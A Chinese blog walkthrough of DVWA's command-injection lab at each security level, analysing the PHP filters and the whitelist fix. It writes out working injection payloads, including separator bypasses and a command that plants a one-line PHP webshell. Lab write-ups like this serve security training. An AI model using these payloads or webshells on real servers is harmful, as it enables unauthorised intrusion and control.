DVWA通关--命令注入(command injection)

目录

low

通关步骤

源码分析

medium

通关步骤

源码分析

high

通关步骤

源码分析

impossible

源码分析

总结


low

通关步骤

1、输入127.0.0.1试一下有没有回显

有的

2、输入127.0.0.1 | whoami

命令注入成功

3、尝试写入木马

payload:127.0.0.1 | echo "<?php assert($_POST[ele]);?>" > e1.php

这边注意,我试了echo后面的内容不加引号,或者加单引号,都没有文件生成。网上找到的echo的资料中也都是双引号。

submit之后无回显

4、服务器上看当前关卡目录下有文件e1.php生成

文件内容(亲测双引号不影响木马使用)

5、cknife连一下木马

源码分析

(1)$target没做处理就传入了shell_exec

(2)shell_exec接受单个参数,通过shell执行系统命令,并以字符串形式返回完整输出。

详见:https://www.php.cn/php-weizijiaocheng-415776.html

medium

通关步骤

我通关medium的步骤和low一样,就不赘述了。

源码分析

(1)str_replace函数的作用:第三个参数中如果有第一个参数则替换为第二个参数

详见:https://www.w3school.com.cn/php/func_string_str_replace.asp

(2)这里只对&&和;进行了处理,所以用 | 还是可以通关的。

其实看代码可以发现&&&也是可以绕过过滤的,比如127.0.0.1 &&& whoami

high

通关步骤

这关用 | 不行了,用 || 可以

比如 127.0.0.1 || whoami

写一句话木马:127.0.0.1 || echo "<?php assert($_POST[ele]);?>" > e3.php

服务器上当前目录下生成e3.php文件

源码分析

这次的黑名单比medium充实了许多,仿佛是为了说明黑名单并不安全

而且黑名单里面有||,我也很疑惑为什么payload中的||没有被过滤。

另外,通过看代码发现过滤|的时候仿佛特意留了个漏洞,过滤的是右边带空格的|,那么127.0.0.1|whoami这样的|左右没有空格的payload是行得通的。

尝试了一下127.0.0.1|whoami果然是可以的。

impossible

这关是不存在攻击可能性的安全关,直接分析源代码好在哪儿

源码分析

总得来说,这里防止命令注入的思路是白名单,也就是说对输入进行过滤,只允许输入ip地址。

具体来说,把输入根据点分成4段,每一段都判断一下是不是数字,总共是不是4段,如果是的话,再用点把4段数字拼接起来。

具体看一下涉及到的函数:

stripslashes 用于删除输入中的反斜杠

explode 用于将字符串按指定字符分割为数组

is_numeric 用于检测变量是否为数字或数字字符串

下面两个是所有关都有涉及到的和命令注入无关的函数,这里也顺便说一下

php_uname 返回系统信息,'s'参数表示操作系统名称

stristr 在第一个参数中寻找第二个参数的第一次匹配,并返回字符串从匹配点开始的剩余部分,如果未搜索到字符串,则返回FALSE。该函数不区分参数大小写。

总结

DVWA的命令注入还是挺简单的,主要考察的是命令连接符的使用和绕过,都没有涉及到命令的过滤和绕过,等等。

命令连接符:

windows:(1)|(2)||(3)&(4)&&

linux:(1)|(2)||(3);(4)&&

那如果不知道具体是哪种系统的话,可能从(1)(2)(4)这三个两种系统上都可以使用的连接符开始尝试稍微高效一些。

需要注意的是:

(1)||和&&的逻辑短路

|| 逻辑或:如果前面的命令执行成功了,后面的命令就不执行了。所以用这个连接符的时候,想要执行后面的命令必须让前面的命令执行失败

&& 逻辑与:如果前面的命令执行失败了,后面的命令就不执行了。所以用这个连接符的时候,想要执行后面的命令必须让前面的命令执行成功。

(2)连接符左右可以有空格也可以没有空格,虽然现实可能不容易遇到high级别那种那么刻意的情况,但是可以试试嘛。

猜你喜欢

转载自blog.csdn.net/elephantxiang/article/details/110940221
今日推荐